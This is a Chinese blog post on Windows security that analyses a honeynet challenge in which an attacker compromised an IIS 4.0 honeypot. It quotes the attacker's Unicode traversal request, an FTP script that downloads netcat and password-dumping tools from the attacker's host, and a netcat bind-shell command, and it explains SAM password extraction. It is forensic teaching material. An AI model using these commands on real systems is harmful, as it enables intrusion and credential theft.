kali视频学习请看

http://www.cnblogs.com/lidong20179210/p/8909569.html

Windows操作系统及其安全机制

Windows文件系统

  • FAT (File Allocation Table文件分配表)

    •  1980: FAT12
    •  1987: FAT16
    •  1995: FAT32
    •  文件目录表: Table; 文件分配表: Linked List
    •  安全性弱,正在被NTFS取代
  • NTFS (NT File System)
    •  1990s: M$/IBM joint project, 从OS/2文件系统HPFS继承
    •  NTFS v3.x for Windows NT 5.x, 较FAT更具安全性(ACL),更好的性能、可靠性和磁盘利用效率
    •  基于访问控制列表机制保证文件读写安全性
    •  支持任意UTF-16命名,使用B+树进行索引, …
    •  Metadata保存文件相关各种数据,保存在Meta File

      Table(MFT)

使用Metaspoit攻击MS08-067

见另一篇博文 使用Metaspoit攻击MS08-067

分析 NT 系统破解攻击

案例分析挑战内容:

  • 2001年2月4日,来自213.116.251.162的攻击者成功攻陷了蜜罐主机 172.16.1.106(主机名为:lab.wiretrip.net),这是一次非常典型的针对NT系统的攻击,而且我们有理由相信攻击者最终识别了蜜罐主机,因此这将是一个非常有趣的案例分析挑战。你的分析数据源只有包含整个攻击过程的二进制记录文件,而你的任务就是从这个文件中提取并分析攻击的全部过程
  • 问题:
  1. 攻击者使用了什么破解工具进行攻击?
  2. 攻击者如何使用这个破解工具进入并控制了系统?
  3. 当攻击者获得系统的访问权后做了什么?
  4. 我们如何防止这样的攻击?
  5. 额外奖励问题:你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
  • 待分析二进制文件位置:

ftp://222.29.112.10/exercises/course5.zip。

MD5=aca62e19ba49546d2bfd1fa1c71b5751

  • 提示使用工具:

    • snort
    • nstream
    • wireshark

1. 攻击者使用了什么破解工具进行攻击?

  • 问题解答:攻击者利用了Unicode攻击(针对MS00-078/MS01-026)和针对msadcs.dll中RDS漏洞(MS02-065)的msadc.pl/msadc2.pl 渗透攻击工具进行了攻击。
  • 分析
  • 首先看到的是攻击者对蜜罐主机安全漏洞的查点过程

    • 从攻击主机213.116.251.162首先访问了蜜罐172.16.1.106上的http://lab.wiretrip.net/Default.htm页面,其User-Agent域设置为Mozilla/4.0 (compatible; MSIE5.01; Windows NT 5.0;Hotbar2.0),Accept字段中显示访问主机安装了MS Word等软件,可推测攻击主机应为NT5.0系统,安装了MSIE5.01和Hotbar2.0插件。
    • 在点击访问了http://lab.wiretrip.net/guest/default.asp内部留言本页面之后,攻击者在SESSION:1765-80中成功进行了Unicode攻击以打开NT系统启动文件boot.ini,其request为:GET/guest/default.asp/..%C0%AF../..%C0%AF../..%C0%AF../boot.ini HTTP/1.1
    • (注: %C0%AF为’/’的Unicode编码, IIS4.0 和 5.0 存在Unicode Directory Traversal Vulnerability, http://www.securityfocus.com/bid/1806)
    • 随后,在SESSION:1769-80和SESSION:1770-80中,攻击者探测了/msadc/msadcs.dll的存在,并在SESSION:1771-80 中通过msadcs.dll中存在RDS漏洞(注:MS02-065 漏洞,http://www.microsoft.com/technet/security/Bulletin/MS02-065.mspx)进行了SQL注入攻击,尝

      试执行"cmd /c echo werd>>c:\fun"命令。在紧随的SESSION:1772-80 中,攻击者验证其攻击

      确实成功了。

  • 根 据 “ADM!ROX!YOUR!WORLD”特征字符串,以及查询语句中使用了dbq=c:\winnt\help\iis\htm\tutorial\btcustmr.mdb,我们可以通过 Google 查询到这次攻击应是由rain forest puppy 编写的 msadc(2).pl渗透攻击代码所发起的。
  • 至此,攻击者通过查点确认了目标系统提供 Web 服务的是臭名昭著的 IIS v4.0,并存在

    Unicode 和 MDAC RDS 安全漏洞,可进行进一步渗透攻击。
攻击技术背景

Unicode 攻击

Unicode 攻击原理解释.
利用微软 IIS 4.0 和 5.0 都存在利用扩展 UNICODE 字元取代"/"和"\"而能利用"../"目录遍
历的漏洞。
未经授权的用户可能利用 IUSR_machinename 账号的上下文空间访问任何已知的文件。该账号在默认情况下属于 Everyone 和 Users 组的成员,因此任何与 Web 根目录在同一逻辑驱动器上的能被这些用户组访问的文件都能被删除,修改或执行,就如同一个用户成功登陆
所能完成的一样。
%c0%af = /
%c1%9c = \ MDAC SQL 注入攻击
IIS的MDAC 组件存在一个漏洞可以导致攻击者远程执行你系统的命令。主要核心问题是存在于 RDS Datafactory, DataFactory允许使用者从远端执行四项功能,包括:「Query」、「CreateRecordSet」、「ConvertToString」和「SubmitChanges」,其中「Query:查询」功能就是黑客用來入侵的地方。默认情况下, 它允许远程命令发送到 IIS 服务器中,这命令会以设备用户的身份运行,其一般默认情况下是 SYSTEM 用户。

2.攻击者如何使用这个破解工具进入并控制了系统?

  • 分析:
  • 观察到每次 RDS 渗透攻击间的间隔时间均为 2-3 秒,可以推测攻击者是预先写好需执

    行的 shell 指令列表,然后由 msadc(2).pl 渗透攻击工具一起执行。
  • 在 RDS 攻击由于粗心大意没写对 FTP 脚本后,攻击者又开始转向 Unicode 攻击,每条

    请求间隔时间大概在 10-12 秒,意味着这些指令可能是由攻击者手工输入的:
SESSION:1874-80 "copy C:\winnt\system32\cmd.exe cmd1.exe"
SESSION:1875-80 "cmd1.exe /c open 213.116.251.162 >ftpcom"
SESSION:1876-80 "cmd1.exe /c echo johna2k >>ftpcom"
SESSION:1877-80 "cmd1.exe /c echo haxedj00 >>ftpcom"
SESSION:1879-80 "cmd1.exe /c echo get nc.exe >>ftpcom"
SESSION:1880-80 "cmd1.exe /c echo get pdump.exe >>ftpcom"
SESSION:1881-80 "cmd1.exe /c echo get samdump.dll >>ftpcom"
SESSION:1882-80 "cmd1.exe /c echo quit >>ftpcom"
SESSION:1885-80 "cmd1.exe /c ftp -s:ftpcom"

这次终于对了,蜜罐主机连接 213.116.251.162 并下载了所指定的这些文件,并通过 nc构建其一个远程 shell 通道。SESSION:1887-80 "cmd1.exe /c nc -l -p 6969 -e cmd1.exe"接着,攻击者连接 6969 端口,获得了访问权,并进入了交互式控制阶段。

攻击工具介绍: Netcat

NetCat 是一个非常简单的 Unix 工具,可 以读、写 TCP 或 UDP 网络连接(network connection)。它被设计成一个可靠的后端(back-end)工具,能被其它的程序程序或脚本直接地或容易地驱动。同时,它又是一个功能丰富的网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能

详细使用方法参看

我的博客 netcat 瑞士军刀

3.当攻击者获得系统的访问权后做了什么?

通过上述针对 IIS的远程渗透攻击,攻击者获得了IUSER_KENNY 用户账号(IIS启动用户)权限,但显然他并不满足于此,虽然能够通过 MDAC RDS以SYSTEM账号运行任意指令,但攻击者仍然希望获得本地 Administrator 用户权限。

4. 我们如何防止这样的攻击?

这个攻击事件中被利用的两个漏洞为RDS和Unicode漏洞,两者都已经有相应的补丁,通过打补丁可防止遭受同样的攻击。不要使用 IIS4.x 这样臭名昭著的 Web Server,如果必须使用 IIS4.x,主要的防范措施有(参考自黑客大曝光)

  • 1.为这些漏洞打上补丁,
  • 2.禁用用不着的 RDS 等服务,
  • 3.防火墙封禁网络内部服务器发起的连接
  • 4.为 web server 在单独的文件卷上设置虚拟根目录
  • 5.使用 NTFS 文件系统,因为 FAT 几乎不提供安全功能
  • 6.使用 IIS Lockdown 和 URLScan 等工具加强 web server
攻击技术背景
Windows 查点 Windows SAM 口令文件破解
   1、取得 Administrator 特权后,攻击者很可能会径直走向 NT 安全帐号管理器 SAM(Security Accounts Manager),SAM含有本地系统或所控制域(如果是域控)上所有用户的用户名和经加密的密码。SAM是NT系统攻击中的致命部位,与Unix/Linux的/etc/passwd文件相当。因此破解 SAM是特权升级和信任漏洞发掘的最具威力的工具之一。破解SAM揭示密码最流行的工具是经典的L0phtcrack,其宣称在450MHz P2计算机上24小时内就能破解所有的字母数字组合密码。

2、密码破解任务的第一步是获取密码文件,即获取 SAM,但该目录在操作系统运行期间是上锁的,有四种获取 SAM 数据的方法,

一是把以另外一个操作系统如DOS启动,然后从驱动器中摘取 SAM 文件;
二是拷贝由 NT 修复磁盘工具(rdisk)创建的 SAM 文件的拷贝;
三是从 SAM 中直接抽取密码散列值;
四是对网络用户名/密码交互进行网络监听和破解。 3、攻 击 者 采 用 了 第 二 种 方 法 获 取 SAM , rdisk /s- 备 份 关 键 系 统 信 息 , 在 %
systemroot%\repair 目录中就会创建一个名为 sam._的 SAM 压缩拷贝,备份的 sam._文件在使
用之前需要通过 expand 进行扩展, L0phtcrack 的较新版本通过导入功能自动完成扩展工作。 4、攻击者也试图采用第三种方法获取 SAM,将从注册表中直接转存成类似 UNIX 上
/etc/password 文件的格式,完成这个工作的最初工具是由 Jeremy Allison 编写的 pwdump. 5、SAM 密码破解工具
L0phtcrack
John 杀手
带 NT 扩展的 crack 5 Windows Net 命令
net 命令有着非常强大的功能,管理着计算机的绝大部分管理级操作和用户级操作,包
括管理本地和远程用户组数据库、管理共享资源、管理本地服务、进行网络配置等实用操作
NET command /HELP

5.额外奖励问题:你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?

是的,攻击者绝对意识到了他的目标是作为蜜罐主机的,因为他建立了一个文件,并输入了如下内容 C:>echo best honeypot i've seen till now

Windows操作系统及其安全机制的更多相关文章

  1. Windows操作系统

    Microsoft Windows,是美国微软公司研发的一套操作系统,它问世于1985年,起初仅仅是Microsoft-DOS模拟环境,后续的系统版本由于微软不断的更新升级,不但易用,也慢慢的成为家家 ...

  2. Windows程序内部运行机制 转自http://www.cnblogs.com/zhili/p/WinMain.html

    一.引言 要想熟练掌握Windows应用程序的开发,首先需要理解Windows平台下程序运行的内部机制,然而在.NET平台下,创建一个Windows桌面程序,只需要简单地选择Windows窗体应用程序 ...

  3. Windows窗口自动缩放机制

    通过自动缩放功能,能使在一个计算机上设计的界面在另一个具有不同分辨率或系统字体的计算机上能正常显示.这样窗体及其控件就能通过智能化调整大小以保障在本地电脑和用户电脑上保持一致. 自动缩放的必要性 如果 ...

  4. 深入浅出话VC++(1)——Windows程序内部运行机制

    一.引言 要想熟练掌握Windows应用程序的开发,首先需要理解Windows平台下程序运行的内部机制,然而在.NET平台下,创建一个Windows桌面程序,只需要简单地选择Windows窗体应用程序 ...

  5. X windows的底层实现机制

    Qt在Linux上运行崩溃了,很可能的原因是对于X11机制的不了解.很可能是UI代码里面对窗口的操作不规范而导致Qt内部的BUG暴露出来.具体UI实现代码我也没有看.是别人维护的.打算今天去看下代码, ...

  6. 内核对象 windows操作系统

    问题: 什么是内核对象? 答:内核对象实际上时由内核分配的一块内存,而且只能由内核来访问.它时一个数据结构,成员包含有关于该对象的信息.一些成员对于所有对象类型都是一样的,比如对象名称.安全描述.使用 ...

  7. Windows 操作系统

    Microsoft Windows,是美国微软公司研发的一套操作系统,它问世于1985年,起初仅仅是Microsoft-DOS模拟环境,后续的系统版本由于微软不断的更新升级,不但易用,也慢慢的成为家家 ...

  8. windows操作系统中安装、启动和卸载memcached

    今天总结一下如何在Windows操作系统中安装.启动和卸载memcached:下载地址: http://download.csdn.net/download/wangshuxuncom/8249501 ...

  9. Windows内核读书笔记——Windows异常分发处理机制

    本篇读书笔记主要参考自<深入解析Windows操作系统>和<软件调试>这两本书. IDT是处理异常,实现操作系统与CPU的交互的关口. 系统在初始化阶段会去填写这个结构. ID ...

随机推荐

  1. python继承,判断类型,多态

    1.python中继承 如果已经定义了Person类,需要定义新的Student和Teacher类时,可以直接从Person类继承: class Person(object): def __init_ ...

  2. java调用操作系统命令

    java的Runtime.getRuntime().exec(commandStr)可以调用执行cmd指令. cmd /c dir 是执行完dir命令后关闭命令窗口. cmd /k dir 是执行完d ...

  3. jQuery多层级垂直手风琴菜单

    在线演示 本地下载

  4. 通过excel快速拼接SQL

    “哎,发你一个excel,把这几百条数据修复喽.”经理喊道. “嗯,好的!” 正在看资料的我被经理临时分的任务打断,搞吧!这就是我平时中的一个工作场景. 工作中总是会遇到要修复数据,数据在excel中 ...

  5. Gradle 引入本地定制 jar 包,而不使用坐标下载 jar 包的方法

    第 1 步:创建文件夹,拷贝 jar 包 在自己的 Gradle 项目里建立一个名为 “libs” (这个名字可以自己定义,不一定非要叫这个名字)的文件夹,把自己本地的 jar 包拷贝到这个文件夹中. ...

  6. quartz(6)--集群

    Quartz应用能被集群,是水平集群还是垂直集群取决于你自己的需要.集群提供以下好处: · 伸缩性 · 高可用性 · 负载均衡 目前,Quartz只能借助关系数据库和JDBC作业存储支持集群. qua ...

  7. Spring与CXF整合

    1.首先引入CXF相关jar包以及spring相关jar包,因项目是maven项目,所以直接在pom.xml文件中引入以下依赖即可(以下只是CXF的依赖包,Spring的也要引入,相关的依赖参考我博客 ...

  8. xp_sp3_pro_简中_x86_cd_vl_x14-74070

    1.镜像文件: zh-hans_windows_xp_professional_with_service_pack_3_x86_cd_vl_x14-74070.iso 来自 msdn itellyou ...

  9. leetcode 2SUM

         ; i < numbers.size(); ++i){             ; i < v.size(); i++){             ; j < v.size ...

  10. python脚本4_求1到5阶乘之和

    #求1到5阶乘之和 # a = 1 sum = 0 for i in range(1,6): a = i*a sum = sum+a print(sum)